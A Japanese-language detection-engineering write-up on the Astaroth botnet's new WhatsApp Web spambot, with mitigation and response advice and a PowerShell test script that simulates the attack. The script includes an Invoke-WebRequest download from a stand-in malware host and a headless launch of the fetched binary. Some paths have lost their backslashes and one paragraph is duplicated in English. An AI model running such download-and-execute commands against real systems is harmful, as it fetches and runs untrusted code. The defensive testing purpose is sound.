Astarothが電子メールキャンペーン用に新しいスパムボットコンポーネントを追加

概要

Astarothボットネットのオペレーターは、ラテンアメリカのeCrimeエコシステム全体で影響を拡大するために、新しいWhatsApp Webスパムボットコンポーネントを追加しました。このモジュールは、ヘッドレスブラウザの自動化を使用して侵害された被害者を配布ノードに変え、WhatsAppの連絡先に悪意のあるメッセージを送信します。この開発は、従来の電子メールスパムからソーシャルメッセージングプラットフォームへの移行を示しています。

調査

調査には、Astarothスパムボットの詳細な技術分析が含まれ、AES-CTS暗号化、複雑な6段階の文字列難読化プロセス、およびカスタム設定構造が明らかになりました。研究者は、AstarothとVaregスパムボット間のコードの類似性が実質的に確認され、開発者の共有やコード交換の取り決めが示唆されました。分析では、WebDriverやWPPConnect/WA-JSを含む正当なブラウザ自動化フレームワークの悪用も確認され、隠れたスパムキャンペーンの実行に用いられていることが判明しました。

緩和策

組織は、WhatsAppベースのソーシャルエンジニアリングについてユーザーに教育し、未知の連絡先から受け取ったファイルの開封や実行を控えるように指導するべきです。ブラウザのダウンロード保護を有効にし、許可されていないWebDriverのダウンロードと実行を厳密に監視する必要があります。セキュリティチームは、WindowsのTempフォルダ内での不審なディレクトリの作成を監視し、正当な業務利用に不可欠でない場合はWPPConnect/WA-JSをブロックすることを検討すべきです。

対応

Astarothの活動が検出された場合、影響を受けたエンドポイントを直ちに隔離し、さらなるスパム拡散やマルウェア配布を阻止します。調査員は、ヘッドレスブラウザプロセスと異常な ChromeAuto_ ディレクトリ内で C:UsersPublicTempを確認し、特定されたWebDriverプロセスはフォレンジック分析を受け、ネットワーク活動を確認して、既知のAstarothのC2インフラへの不正な接続をチェックします。

シミュレーション実行

前提条件：テレメトリー＆ベースライン事前チェックが通過していること。

理由：このセクションは、検出ルールをトリガーするために設計された敵技術 (TTP) の正確な実行を詳細に説明します。コマンドと物語は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関係な例は、誤診を招きます。

• 攻撃の物語＆コマンド： 敵は自動化されたWhatsAppスパミングモジュールを展開する意図があります。そのために、まずPowerShellを使用して特定のWebDriverバイナリをローカルディレクトリにダウンロードするLiving-off-the-landテクニックを使用します。ツールが存在すると、敵はそのバイナリを–headlessおよび–disable-infobarsフラグを使用して実行します。これにより、自動化はバックグラウンドで実行され、ユーザーに見えないようにし、スパムキャンペーンを促進する一方で、ホスト上のフットプリントを最小限に抑えます。 WebDriver binary to a local directory. Once the tool is present, the adversary executes the binary using the --headless and --disable-infobars flags. This allows the automation to run in the background, invisible to the user, facilitating the spam campaign while minimizing the footprint on the host.

• リグレッションテストスクリプト：

  # Astarothスパムボットシミュレーションスクリプト
  # このスクリプトは、検出ルールで定義されたダウンロードと実行シーケンスをシミュレートします。
  
  $workDir = "$env:TEMPWebDriverSimulation"
  if (!(Test-Path $workDir)) { New-Item -Path $workDir -ItemType Directory }
  Set-Location $workDir
  
  # 1. ダウンロードをシミュレート（selection_webdriver_downloadをトリガー）
  Write-Host "[+] PowerShellを介してWebDriverのダウンロードをシミュレート中..."
  $dummyWebDriver = "WebDriver.exe"
  New-Item -Path $dummyWebDriver -ItemType File
  # ルールが検出するコマンドラインを模倣
  powershell.exe -Command "Invoke-WebRequest -Uri 'http://fake-malware-site.com/WebDriver' -OutFile 'WebDriver.exe'"
  
  # 2. 実行をシミュレート（selection_webdriver_executionおよびselection_session_creationをトリガー）
  Write-Host "[+] --headless フラグを使用したWebDriverの実行をシミュレート中..."
  # Start-Processを使用して、プロセス作成イベントとしてコマンドラインを確実にキャプチャ
  Start-Process -FilePath ".$dummyWebDriver" -ArgumentList "--headless", "--disable-infobars" -NoNewWindow

• クリーンアップコマンド：

  # シミュレーションアーティファクトをクリーンアップ
  Remove-Item -Path "$env:TEMPWebDriverSimulation" -Recurse -Force
  Write-Host "[+] クリーンアップ完了。"